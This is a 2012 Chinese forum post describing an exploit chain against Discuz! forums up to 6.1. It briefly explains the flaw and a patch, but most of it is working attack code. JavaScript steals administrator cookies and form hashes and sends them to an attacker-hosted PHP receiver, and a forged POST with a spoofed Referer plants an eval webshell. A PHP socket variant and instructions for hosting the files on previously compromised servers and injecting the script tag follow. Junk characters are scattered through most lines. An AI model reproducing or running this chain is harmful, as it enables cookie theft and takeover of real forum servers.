中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell4 |8 ~  n- Y# g
By racle @tian6.com8 e! z% P1 r/ u0 I7 d  J% P9 n
欢迎转帖.但请保留版权信息.% }- l; d+ h/ {: X# N
受影响版本iscuz<=6.1.0,gbk+utf+big5
4 v1 ~1 E9 k6 o2 q0 P8 E' C: b. O) m1 Y0 z6 u: \
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
% E2 y  @, o% h+ P' I- j( C; p+ G: n
+ @- H7 u5 Q. l1 {# }: @; k
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706: d& Y6 c6 [' h7 z
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.8 j$ ]# }4 Y& M: m# N7 Y

  i9 ~0 f6 v2 f. `. S1 x) e分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
/ q. }1 S2 e' w/ g! D" B1 y, w1 H本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
: T& N) \3 B% I5 T3 K6 }' ~0 Y' G* P4 s4 n$ E- L
) p8 e0 S. W9 O
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------" }7 M7 w# h2 F5 k2 L

" ^2 p3 O0 t* w$ ~6 u+ w2 H- j0 P8 B- \: P4 K4 t: ?+ m
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.' w8 q. Z! a8 |! Q

# t1 E) n# c7 _, `+ L0 Rproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
9 m1 X: \' w+ f% k, A( n) i
) e/ e" r9 v' M+ l, H7 Mproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.& f5 \# T1 ?: p& O! K* N$ Q9 w

! U3 H, k, u# ]3 o* g- Y0 L8 s
, ?4 }3 U- W: `5 T" ^! s0 U( a下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {7 Y3 n) ~' \# @# Q' F+ R
. e0 s1 ^7 K8 V6 H' n& U( R$ f
        global $runwizardfile, $runwizardhistory;
/ R3 h3 e( \/ w, a9 ?$ Y4 x$ s: |# B
        $fp = fopen($runwizardfile, 'w');# e4 s: V4 t8 r- F# v
  @5 A; w( q- m7 T  ^+ l+ T
        fwrite($fp, serialize($runwizardhistory));
/ v+ Q' n% U; q. [& A
0 F8 \0 N  ~1 k. u        fclose($fp);% {; g% R: U- P" G

/ L# R" J% e- V}
3 a4 D' a" l& b- J复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
' l" |% h9 h3 ^9 {7 C" S以下是修补的办法:function saverunwizardhistory() {. {1 B  F8 L4 V0 I5 F) E/ A6 D
( g, s9 b1 I  |) H
        global $runwizardfile, $runwizardhistory;/ Q) h5 }2 E3 X+ E% n
, l, j( ]& H  V# b0 T
        $fp = fopen($runwizardfile, 'w');
3 W$ i/ l- v6 m* k' M# h$ E( y0 {* s6 m: n( r1 w
        $s = '<?php exit;?>';
6 _9 S. k" }! c  u  ]
, y3 o( q, @5 s2 E        $s .= serialize($runwizardhistory);
. V( c4 g3 q! u6 e. @
  e" u: `" `5 q5 M) }        fwrite($fp, $s);* ~5 H4 H8 A2 @: E3 ~

) ^+ T* Y0 D- G6 F; J$ T        fclose($fp);/ O" y4 b* c3 d9 Q+ i9 m* j

& @8 v, U; [( r, F}2 Q3 `. O/ {+ b: Y
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.; P" ]& _: W+ {! G" s" V* d) ]
% j( e' K6 d( l

, |  G2 I% K8 t* t% q" \/ y/ `% d: q7 R4 u7 L' @* N1 P
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------1 k8 n/ O; A+ _' ^8 ?( F
# Y0 a: O9 v. U3 p6 ]  b( a

) n( q! f& x/ q. A! }  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.0 e: W8 h8 A' n0 Q* ?; G9 g
) K- H7 n- F8 o8 C% g. K
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.' a% c9 |5 c& G: P) p2 |

' t# e/ d  T; K0 h& o! t) i7 ?5 y0 ?这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
- ~$ x7 h$ u6 \. t2 H: S- @8 z% ~% l. D" u
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:4 k/ l& R2 ~3 M! i$ l# V: b+ C

3 q/ l4 T! G; {9 ]4 bvar url="http://目标网站/admincp.php";      1 ?$ p) Q& W/ D1 X: f3 v; k# d

+ N" O! N, Z+ `1 p, `; ]- P/*获得cookies*/
* ^& b! `. E# U; W0 i
+ }8 W) D$ o7 g! \8 `function getURL(s) {) G* y/ R, l* ?' S. o8 `

! a  c! o2 {, N. i! v; Q0 Nvar image = new Image();  d# o0 ?& l" l& l
3 o7 ?5 r% u9 B' I
image.style.width = 0;
( O) r9 ?8 q: U3 R. z/ P8 M2 w, C8 I% M* ?
image.style.height = 0;  U0 R+ s* p3 h1 h( H! j+ N6 K
0 m8 a/ r2 T# ~4 N% w* y9 ]( X' ]
image.src = s;
" s6 w' Y- X) h/ n; q
. x$ a  W% P2 O: ?  o& k}( n9 J- d$ S6 {  n8 G( i* K- P$ ?" s

# I; L6 c, P: _4 Y* GgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
! `/ R7 {  q$ W2 L复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
7 e; _5 {+ f/ U+ T! q4 z复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
+ l, i& R# U. d- s- H: e. j" ^. _% x: T  l; m: W; a/ |
1 v0 b+ I" G) |6 q9 x
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
: R) ~" j9 V: h& `' S
+ N- [  n0 e6 J0 ~. S5 b  k
7 u- z' u1 C/ q$ B5 `6 ^
% q+ a' W3 @" Q7 d7 L4 ^/*hash*/
; n. m" z" Z- p
+ J+ D: E5 x# A& p; U+ jvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
* f( F. [+ X0 l7 Z
" p& r) G, F. m/ b# kxmlHttpReq.open("GET", url+"admincp.php?action=home", false);5 q6 ]8 c5 `8 K1 i; i$ t$ t
- c4 C/ ]/ E) l: b3 p3 K% C
xmlHttpReq.send();
1 [6 q+ W) A. e' v. H; E$ r) e" O3 v; L  {# N& Z1 S- P
var resource = xmlHttpReq.responseText;
1 w; \1 y* }2 x1 ^  m4 F1 ?* U9 @$ j/ c7 }0 p. Q; w1 H, ^
var numero = resource.search(/formhash/);
2 y$ P- H, Q, S0 `/ R" x
) t  F1 }5 I+ w5 }- Svar formhash=encodeURIComponent(resource.substr(numero+17,8));- a; R/ t& x6 G' T( c8 ^- r, o
) A, ~" e9 S% h& X
+ X* ?  _$ t- e. K, }
" ]  }2 K$ Y9 ~; a+ X
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
5 R! S, T! v' P: l4 M2 v/ ]1 B0 O+ n6 H+ q4 S; z1 I, i
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 . x. h; m5 y1 Y  D
$ O  [2 B7 K; [- f
xmlHttpReq.setRequestHeader("Referer", url);. `+ X$ h- J1 _+ E( `2 k$ p
* Y! A, x  e2 W* _$ R' _* r
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ t1 D  _7 \( e- T' [- G) k  ^
' q' K; ]; c2 L; c! T' F: HxmlHttpReq.setrequestheader("content-length",post.length);
; l" A; s) e* l/ O% R8 W; ]  [( p. O# f$ G
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
# f) j0 m& D0 |; `; K3 X$ r5 n+ b, D/ f; f, h  V! W2 [* Q' K' g7 r
xmlHttpReq.send(post);//发送数据  w' v# n5 B) H8 l* W) P8 n( p5 j
复制代码这里HASH我假设正确,这样提交,也无须cookies* c. r' u. I2 @3 g$ H7 D7 d# d/ p

! a9 U" I& J: ?4 {; `再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);# N& p& a/ e0 Y  G

9 r% w0 i( Y* k& f8 b" Y/ Fif (!$sock) die("$errstr ($errno)\n");, ^* g' s1 J6 f% [8 r, N
7 y1 w1 \3 z* ^) f  V$ Z# k9 B
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';# d8 D8 U. L& f- n( q' f

" Y4 g, G; F0 ]1 H1 j: i5 }4 j9 P6 ^

( y2 }+ O! O& t! P# _$ [+ u& u/ Cfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");0 k( J% p0 Y6 s+ b8 y. {4 M

+ R/ j" q$ R/ \% i2 a9 W4 j! Rfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
" ]5 I: I2 F' s6 ]! ^
2 ^  c) E+ t  [, i+ b' e9 ofwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
9 Y0 Z  n1 n, P1 Y& b, L# e/ I9 V6 |3 [6 q
fwrite($sock, "Accept-Language: zh-cn\r\n");- x, u6 ]7 `6 `- F* t
  h3 i) H& x  M, p
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
4 ]9 K# G  H% C6 M, E& U! S: ?% I* L6 Y; M9 r$ C+ Z. }
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& c3 m/ n( Y: j/ k7 u0 O
4 P" Z/ v+ e: k$ Lfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");1 {' \9 H, y  t  L
& z. X% j5 `# l2 y
fwrite($sock, "Host: $url\r\n");$ c! u6 k7 Q8 e
: Z3 D" f5 [; N* p* r: j5 ^
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
5 f2 I6 W/ C4 v5 e6 n7 r
' Z4 x' Y' `6 r. y' J- Pfwrite($sock, "Connection: Keep-Alive\r\n");, u; A9 [4 I. X9 `# s3 P
9 w+ B$ Q3 v; c
fwrite($sock, "Cache-Control: no-cache\r\n");
9 C9 |$ P4 P/ X6 s0 V$ G" F/ `/ \$ }& P- q- w8 I* G& y0 f1 G
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
4 ~6 |- j# N% h0 I% P
( l: w7 I8 a) @* z$ x7 Sfwrite($sock, $data);
( }8 R% A4 ?5 W; h5 C! ^5 D! n
- M8 [4 a9 \8 [
% t' ~% h8 n6 t3 _/ H; I+ A
5 c) y, ?+ @) b3 s$headers = "";
+ \4 a5 x2 b7 j$ u
7 R6 [7 m, u+ Qwhile ($str = trim(fgets($sock, 4096)))
$ Q6 Q$ m4 M; A4 [, J
/ m2 B5 p8 n- e8 k' b# \0 t# F     $headers .= "$str\n";
; ^5 b: s; `  c& O# n
2 m. t1 `. @8 C: B( e9 {- Kecho "\n";
. y3 A( J- I8 f$ y8 t6 y2 ?3 A) a& E' f6 M" ~$ }: a, x
$body = "";
) l. @& z  M: d! J7 k- b
7 h/ R& c: ]+ b1 J0 Twhile (!feof($sock))) S2 l9 |2 N3 r6 [6 |

0 ]# @" e+ I3 s( o( a# Y     $body .= fgets($sock, 4096);
; p1 q5 ~3 B, P# X7 A3 x  q& K4 P4 f2 j
fclose($sock);' D7 C, v2 g, e7 X) n9 y  g) ^& k
) W! L# o+ z' H: j- k
echo $body;
( r, a! w7 c+ v: _复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
+ X! J) T7 a, ]0 F
5 a+ |0 n5 a: G& E  A# Y' |3 A
$ V% u" v7 {. C-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------4 r8 n6 X  l3 i1 O4 M: g$ X/ V
3 K( [8 b# I; N1 D. c
3 S  t& L2 W8 q5 s# ?9 N
1HP SOCKET利用方法首先打开racle.js8 {% r6 F( T* ~- _% G& Q& B. s

4 ^+ h6 a0 m' F  M9 O4 Lvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
3 N9 ~7 h% E8 @$ p! i+ a! W4 T8 V# `6 ~  \
8 K1 }/ X2 H+ I3 f2 h  y) M* ?
9 P2 D5 E. {7 q* M! \  h8 M* F# B  U
然后打开racle@tian6.php
9 T6 b% F( o" A+ v3 p1 e% T
) h0 e1 R4 b- P( A( `% k( W8 U$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com2 ~5 l5 k8 `/ e8 d( `
1 o$ Y; y1 L+ g- Y2 t$ u

  P: U$ C8 u% h) J+ e7 c* A0 c$ I" N2 q, O5 k" w
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:* F( L0 [% r$ Y) f% N

# c+ B+ Z' m' i; U2 ~! [& d6 hgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
% K+ n. }0 [0 _
4 \, R, R3 @; g" K- l) ~为
' x0 _4 P, R) w! M
. N9 q, ~% l4 S  B+ `. h! U9 KgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
) |0 e5 V) S5 J0 P3 t复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.6 \- G, h6 r) A* [6 d( `2 p

9 [$ }. w2 a# ~3 F* Z) N/ \3 q9 [+ E5 n$ d1 `6 }9 L

, b: \  m) n' e( K: K! E+ u如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:& c% h- m! ^  r/ C4 J0 f7 y

) k7 Q* q% Q3 |/ R9 }var formhash=encodeURIComponent(resource.substr(numero+17,8));5 \, R/ O8 ^5 j3 P/ Y3 O

7 N- ?# Q# M- `为
1 l# ^( ~- J) a+ I6 i( i
2 g. D: A8 q- L3 e" T& _var formhash=encodeURIComponent(resource.substr(numero+9,8));# u; j8 H" p+ P) b
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.3 r2 y' d& S5 k1 d/ m7 S  Q+ Z
, p0 W7 ^9 H- x% R$ i
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.8 x' X+ ?& l7 c1 T
$ ~, D% d/ Y1 a7 ]9 w1 N
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
. G- H: _' `! _: Y& |3 I( q- P& N! H, Z. y* |6 o$ j* Z
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.2 J. v1 x$ D8 [+ p& p
, Q+ u% f2 m2 d* S2 e7 X' e





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2